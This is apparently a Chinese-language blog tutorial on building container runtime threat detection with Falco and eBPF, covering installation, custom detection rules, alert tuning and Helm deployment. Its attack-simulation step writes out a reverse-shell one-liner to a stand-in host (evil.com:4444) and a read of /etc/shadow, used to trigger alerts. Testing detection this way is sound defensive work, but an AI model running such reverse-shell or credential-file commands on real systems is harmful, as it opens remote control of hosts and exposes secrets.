eBPF 安全监控实战:用 Falco 构建容器运行时威胁检测系统
结论先行:Falco 结合 eBPF 能零侵入地监控容器内所有系统调用,但配置规则和调优才是决定成败的关键。这篇文章记录了我从零搭建到踩坑的全过程,希望能帮你少走弯路。
为什么选 Falco + eBPF?
传统安全方案要么依赖 agent 植入,要么用内核模块,对容器环境的干扰都比较大。Falco 利用 eBPF 在内核态捕获系统调用,用户态的规则引擎再实时告警。我选择它,主要看中这三点:

- 零修改:不需要改容器镜像,也不用在容器里装额外包
- 低开销:eBPF 直接在内核运行,CPU 影响通常不到 5%
- 可编程:规则用 YAML 写,扩展起来很灵活
不过别被这些宣传词骗了——配置不当的话,告警能刷屏到你怀疑人生。
第一步:环境准备
我用的是 Ubuntu 22.04,内核版本 5.15+(必须支持 eBPF)。
# 检查内核
uname -r # 输出: 5.15.0-91-generic
# 安装依赖
apt-get update && apt-get install -y linux-headers-$(uname -r) curl
注意:如果内核版本低于 4.15,eBPF 就不支持了,要么升级内核,要么改用内核模块驱动。
第二步:安装 Falco(eBPF 驱动)
官方推荐用 Helm 在 K8s 上部署,但本地测试我选择二进制安装,简单直接。
# 添加 Falco 仓库
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc | apt-key add -
echo "deb https://download.falco.org/packages/deb stable main" > /etc/apt/sources.list.d/falcosecurity.list
apt-get update
# 安装 Falco 并启用 eBPF 驱动
apt-get install -y falco
关键配置是修改 /etc/falco/falco.yaml,启用 eBPF。
# 找到 engine: 部分,改成:
engine:
kind: ebpf
ebpf:
# 指定 eBPF 程序路径,自动生成
probe: ""
踩坑记录:第一次安装后 Falco 启动失败,报 Cannot find eBPF probe。查了半天才发现是内核头文件缺失。
# 安装头文件
apt-get install -y linux-headers-$(uname -r)
# 重新生成 eBPF 探针
falco-driver-loader --source
重启后 systemctl status falco 应该显示 active (running),这才松了一口气。

第三步:默认规则初体验
Falco 自带 100 多条规则,存放在 /etc/falco/rules.d/。启动后,我随手跑了个容器试试水:
docker run --rm -it alpine sh
# 在容器内执行
cat /etc/shadow
主控台立刻弹出告警:
23:45:12.345678901: Warning Sensitive file opened for reading by a non-trusted program (file=/etc/shadow)
问题来了:5 分钟内我收到 200 多条告警——连 apt update 都被拦截了。默认规则实在太激进。
第四步:定制规则,过滤噪音
我创建了自定义规则文件 /etc/falco/rules.d/my_rules.yaml:
- list: my_trusted_images
items: ["alpine:latest", "ubuntu:22.04"]
- rule: My Sensitive File Read
desc: 检测非信任镜像读取敏感文件
condition: >
(open_read or open_write) and
(fd.name contains "/etc/shadow" or fd.name contains "/etc/passwd") and
not container.image.repository in (my_trusted_images)
output: >
Sensitive file read by %container.image.repository (command=%proc.cmdline)
priority: WARNING
tags: [my_custom, file_monitor]
重点:
- condition 用 and 组合,避免误报
- not container.image.repository in (my_trusted_images) 过滤掉白名单镜像
- 优先级设 WARNING,避免 CRITICAL 刷屏
又一个踩坑:规则不生效?检查 falco.yaml 中 rules_file 是否包含新文件:
rules_file:
- /etc/falco/rules.d/my_rules.yaml
- /etc/falco/rules.d/falco_rules.yaml # 保留默认
重启 Falco:systemctl restart falco,这次终于生效了。
第五步:模拟真实攻击
我写了个测试脚本,模拟反弹 shell:
# 在容器内执行
docker run --rm -it ubuntu:22.04 bash -c "bash -i >& /dev/tcp/evil.com/4444 0>&1"
Falco 立刻捕获:
23:50:12.456789012: Critical Outbound network connection to suspicious IP (container=ubuntu:22.04, fd=4, type=SOCK_STREAM, proto=tcp, sip=172.17.0.2, dip=evil.com, port=4444)
默认规则里 Network Connection to Suspicious IP 生效了。但有个问题:evil.com 是虚构域名,DNS 解析失败。实际上我需要监控的是 conn to 1.2.3.4:4444 这种具体 IP。
第六步:调优与扩展
1. 增加 IP 黑名单
- list: malicious_ips
items: ["1.2.3.4", "5.6.7.8"]
- rule: My Malicious IP Connection
condition: >
evt.type=connect and
fd.sip in (malicious_ips) and
fd.sport=4444
output: "Suspicious connection to %fd.sip:%fd.sport"
priority: CRITICAL
2. 监控容器内文件系统篡改
- rule: Binary Tampering
condition: >
open_write and
fd.name startswith "/usr/bin/" and
not proc.name in (["dpkg", "apt", "yum"])
output: "Binary modified: %fd.name by %proc.cmdline"
priority: WARNING
3. 告警输出到文件(避免终端刷屏)
# /etc/falco/falco.yaml
json_output: true
json_include_output_property: true
outputs:
file:
enabled: true
filename: /var/log/falco_events.json
第七步:集成到生产环境
在 K8s 中,我用 Helm 部署:
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --set driver.kind=ebpf
关键参数:
- --set falco.rules_file[0]=/etc/falco/rules.d/my_rules.yaml 挂载自定义规则
- --set falco.json_output=true 输出 JSON 给日志采集器
内存占用:实测 512MB 集群节点上,Falco 占用 80MB RSS,CPU 波动不到 3%,性能表现相当不错。
最终总结
| 优点 | 缺点 |
|---|---|
| 零侵入,无需改容器 | 默认规则噪音大,需大量调优 |
| eBPF 性能开销极低 | 内核版本依赖(>=4.15) |
| 规则灵活可编程 | 学习曲线陡峭,YAML 条件语法复杂 |
我的核心经验:
1. 永远从白名单开始,不要先黑名单
2. 优先监控 open_write 和 connect,这两类最危险
3. 告警优先级分层:CRITICAL 只给确凿攻击,WARNING 给可疑行为
4. 生产环境必须输出 JSON,否则日志系统无法解析
延伸思考
Falco 只是起点。你可以:
- 结合 Prometheus 告警:falco-exporter 把事件转为 metric
- 自动响应:用 falcoctl 触发 Kubernetes Pod 驱逐
- 与 Cilium 联动:eBPF 生态下,Falco 监控 + Cilium 阻断,形成闭环
但别贪多:我见过团队一次部署 500 条规则,结果 90% 是误报,最后关停整个系统。从 10 条核心规则开始,跑一周再逐步增加。安全监控是马拉松,不是百米冲刺。

评论已关闭!